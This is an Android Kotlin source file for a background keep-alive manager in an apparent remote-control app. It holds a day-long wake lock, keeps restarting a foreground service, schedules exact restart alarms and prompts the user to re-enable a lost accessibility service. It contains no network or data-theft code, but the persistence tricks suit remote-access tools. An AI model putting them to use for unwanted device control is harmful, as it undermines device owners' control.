测试
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wdvipa
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package com.hikoncont.service
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import android.app.AlarmManager
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import android.app.NotificationChannel
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import android.app.NotificationManager
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import android.app.PendingIntent
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import android.content.BroadcastReceiver
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import android.content.Context
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import android.content.Intent
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import android.content.IntentFilter
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import android.os.PowerManager
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import android.util.Log
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import androidx.core.app.NotificationCompat
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import kotlinx.coroutines.*
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/**
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* 后台保活管理器
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* 专注于后台服务保活，不拉起MainActivity
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*/
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class BackgroundKeepAliveManager(private val context: Context) {
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companion object {
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private const val TAG = "BackgroundKeepAlive"
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private const val CHECK_INTERVAL = 10000L // 30秒检查一次
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private const val RESTART_DELAY = 5000L // 5秒后重启
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}
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private val managerScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
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private var monitorJob: Job? = null
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private var wakeLock: PowerManager.WakeLock? = null
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private var isMonitoring = false
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/**
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* 开始后台保活监控
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*/
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fun startBackgroundKeepAlive() {
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if (isMonitoring) {
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Log.w(TAG, "⚠️ 后台保活监控已在运行")
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return
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}
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Log.i(TAG, "🛡️ 开始后台保活监控")
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isMonitoring = true
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// 获取WakeLock
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acquireWakeLock()
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// 注册广播接收器
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registerReceivers()
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// 开始监控
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startMonitoring()
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// 确保前台服务运行
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ensureForegroundService()
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}
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/**
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* 停止后台保活监控
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*/
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fun stopBackgroundKeepAlive() {
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if (!isMonitoring) {
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return
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}
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Log.i(TAG, "🛑 停止后台保活监控")
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isMonitoring = false
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// 取消监控任务
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monitorJob?.cancel()
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// 释放WakeLock
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releaseWakeLock()
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// 注销广播接收器
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unregisterReceivers()
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// 取消协程作用域
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managerScope.cancel()
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}
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/**
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* 获取WakeLock保活
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*/
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private fun acquireWakeLock() {
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try {
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val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
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wakeLock = powerManager.newWakeLock(
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PowerManager.PARTIAL_WAKE_LOCK,
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"RemoteControl::BackgroundKeepAlive"
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)
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wakeLock?.acquire(24 * 60 * 60 * 1000L) // 24小时
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Log.i(TAG, "🔋 后台保活WakeLock已获取")
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} catch (e: Exception) {
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Log.e(TAG, "❌ 获取后台保活WakeLock失败", e)
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}
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}
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/**
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* 释放WakeLock
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*/
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private fun releaseWakeLock() {
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try {
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wakeLock?.release()
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wakeLock = null
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Log.i(TAG, "🔋 后台保活WakeLock已释放")
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} catch (e: Exception) {
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Log.e(TAG, "❌ 释放后台保活WakeLock失败", e)
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}
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}
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/**
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* 注册广播接收器
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*/
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private fun registerReceivers() {
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try {
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val filter = IntentFilter().apply {
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addAction(Intent.ACTION_SCREEN_ON)
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addAction(Intent.ACTION_SCREEN_OFF)
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addAction(Intent.ACTION_USER_PRESENT)
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// ✅ 参考 f 目录：已移除重启无障碍服务广播监听
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}
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context.registerReceiver(backgroundReceiver, filter)
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Log.i(TAG, "📡 后台保活广播接收器已注册")
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} catch (e: Exception) {
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Log.e(TAG, "❌ 注册后台保活广播接收器失败", e)
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}
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}
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/**
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* 注销广播接收器
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*/
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private fun unregisterReceivers() {
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try {
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context.unregisterReceiver(backgroundReceiver)
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Log.i(TAG, "📡 后台保活广播接收器已注销")
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} catch (e: Exception) {
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Log.e(TAG, "❌ 注销后台保活广播接收器失败", e)
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}
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}
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/**
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* 开始监控
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*/
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private fun startMonitoring() {
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monitorJob = managerScope.launch {
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while (isActive && isMonitoring) {
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try {
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checkAndRestartServices()
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delay(CHECK_INTERVAL)
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} catch (e: Exception) {
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Log.e(TAG, "❌ 后台保活监控过程中发生错误", e)
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delay(CHECK_INTERVAL)
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}
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}
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}
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}
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/**
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* 检查并重启服务
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*/
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private fun checkAndRestartServices() {
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try {
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val accessibilityService = AccessibilityRemoteService.getInstance()
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if (accessibilityService == null) {
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Log.w(TAG, "⚠️ 检测到AccessibilityService不可用")
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// 检查无障碍服务权限
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if (!isAccessibilityServiceEnabled()) {
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Log.w(TAG, "⚠️ 无障碍服务权限已丢失")
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handleAccessibilityPermissionLost()
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} else {
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// ✅ 参考 f 目录：不重启无障碍服务，系统会自动管理
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Log.d(TAG, "📱 无障碍服务权限正常，系统会自动管理无障碍服务生命周期")
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}
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} else {
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Log.d(TAG, "✅ AccessibilityService运行正常")
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}
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// 检查前台服务
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ensureForegroundService()
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} catch (e: Exception) {
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Log.e(TAG, "❌ 检查服务状态失败", e)
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}
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}
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/**
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* 检查无障碍服务是否启用
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*/
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private fun isAccessibilityServiceEnabled(): Boolean {
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return try {
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val accessibilityEnabled = android.provider.Settings.Secure.getInt(
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context.contentResolver,
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android.provider.Settings.Secure.ACCESSIBILITY_ENABLED
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)
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if (accessibilityEnabled == 1) {
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val serviceId = "${context.packageName}/${AccessibilityRemoteService::class.java.canonicalName}"
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val enabledServices = android.provider.Settings.Secure.getString(
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context.contentResolver,
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android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
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)
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enabledServices?.contains(serviceId) == true
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} else {
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false
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}
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} catch (e: Exception) {
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Log.e(TAG, "❌ 检查无障碍服务状态失败", e)
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false
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}
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}
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/**
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* 处理无障碍权限丢失（正确方案：提醒用户重新启用）
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*/
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private fun handleAccessibilityPermissionLost() {
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try {
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Log.w(TAG, "⚠️ 无障碍服务权限丢失，需要用户手动重新启用")
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// 记录到操作日志
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val service = AccessibilityRemoteService.getInstance()
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service?.recordOperationLog("ACCESSIBILITY_PERMISSION_LOST", "无障碍服务权限丢失", mapOf(
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"timestamp" to System.currentTimeMillis(),
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"backgroundKeepAlive" to true
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))
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// 无障碍服务被杀死后无法自动重启，需要用户手动重新启用
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// 通过通知或UI提醒用户
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showAccessibilityPermissionLostNotification()
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} catch (e: Exception) {
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Log.e(TAG, "❌ 处理无障碍服务权限丢失失败", e)
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}
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}
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/**
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* 显示无障碍权限丢失通知
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*/
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private fun showAccessibilityPermissionLostNotification() {
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try {
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Log.i(TAG, "📱 显示无障碍权限丢失通知")
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// 创建通知渠道
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val notificationManager = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
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val channelId = "accessibility_permission_lost"
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val channel = NotificationChannel(
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channelId,
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"无障碍权限提醒",
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NotificationManager.IMPORTANCE_HIGH
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).apply {
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description = "当无障碍服务权限丢失时提醒用户"
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enableLights(true)
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lightColor = android.graphics.Color.RED
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enableVibration(true)
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}
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notificationManager.createNotificationChannel(channel)
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// 创建通知
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val notification = NotificationCompat.Builder(context, channelId)
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.setContentTitle("⚠️ 无障碍服务权限丢失")
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.setContentText("请点击重新启用无障碍服务权限")
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.setSmallIcon(android.R.drawable.ic_dialog_alert)
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.setPriority(NotificationCompat.PRIORITY_HIGH)
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.setAutoCancel(true)
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.setOngoing(false)
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.setContentIntent(createAccessibilitySettingsPendingIntent())
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.build()
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notificationManager.notify(9999, notification)
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Log.i(TAG, "✅ 无障碍权限丢失通知已显示")
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} catch (e: Exception) {
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Log.e(TAG, "❌ 显示无障碍权限丢失通知失败", e)
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}
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}
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/**
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* 创建无障碍设置页面的PendingIntent
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*/
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private fun createAccessibilitySettingsPendingIntent(): PendingIntent {
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val intent = Intent(android.provider.Settings.ACTION_ACCESSIBILITY_SETTINGS)
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intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK
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return PendingIntent.getActivity(
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context,
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9999,
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intent,
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PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
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)
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}
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// ✅ 参考 f 目录：已移除重启无障碍服务的功能，系统会自动管理无障碍服务生命周期
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/**
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* 确保前台服务运行
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*/
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private fun ensureForegroundService() {
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try {
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val serviceIntent = Intent(context, RemoteControlForegroundService::class.java)
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serviceIntent.action = "ENSURE_FOREGROUND"
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context.startForegroundService(serviceIntent)
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Log.d(TAG, "✅ 已确保前台服务运行")
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} catch (e: Exception) {
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Log.e(TAG, "❌ 确保前台服务运行失败", e)
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}
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}
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/**
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* 安排服务自恢复
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*/
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private fun scheduleServiceRestart() {
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try {
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val alarmManager = context.getSystemService(Context.ALARM_SERVICE) as AlarmManager
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val foregroundIntent = Intent(context, RemoteControlForegroundService::class.java).apply {
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action = "RESTART_SERVICE"
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}
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val keepAliveIntent = Intent(context, KeepAliveService::class.java)
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val pendingFlags = (PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE)
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val foregroundPI = PendingIntent.getForegroundService(
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context,
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2001,
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foregroundIntent,
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pendingFlags
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)
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val keepAlivePI = PendingIntent.getService(
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context,
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2002,
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keepAliveIntent,
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pendingFlags
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)
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val triggerAt = System.currentTimeMillis() + RESTART_DELAY
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alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, foregroundPI)
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alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 500, keepAlivePI)
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Log.i(TAG, "⏰ 已安排服务自恢复")
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} catch (e: Exception) {
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Log.e(TAG, "❌ 安排服务自恢复失败", e)
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}
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}
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/**
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* 后台保活广播接收器
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*/
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private val backgroundReceiver = object : BroadcastReceiver() {
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override fun onReceive(context: Context, intent: Intent) {
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when (intent.action) {
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Intent.ACTION_SCREEN_ON -> {
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Log.d(TAG, "📱 屏幕点亮，检查服务状态")
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checkAndRestartServices()
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}
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Intent.ACTION_SCREEN_OFF -> {
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Log.d(TAG, "📱 屏幕熄灭，继续后台保活")
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}
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Intent.ACTION_USER_PRESENT -> {
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Log.d(TAG, "👤 用户解锁，检查服务状态")
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checkAndRestartServices()
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}
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"android.mycustrecev.RESTART_ACCESSIBILITY_SERVICE" -> {
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// ✅ 参考 f 目录：不重启无障碍服务，系统会自动管理
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Log.d(TAG, "📱 无障碍服务由系统自动管理，无需手动重启")
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}
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}
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}
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}
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}
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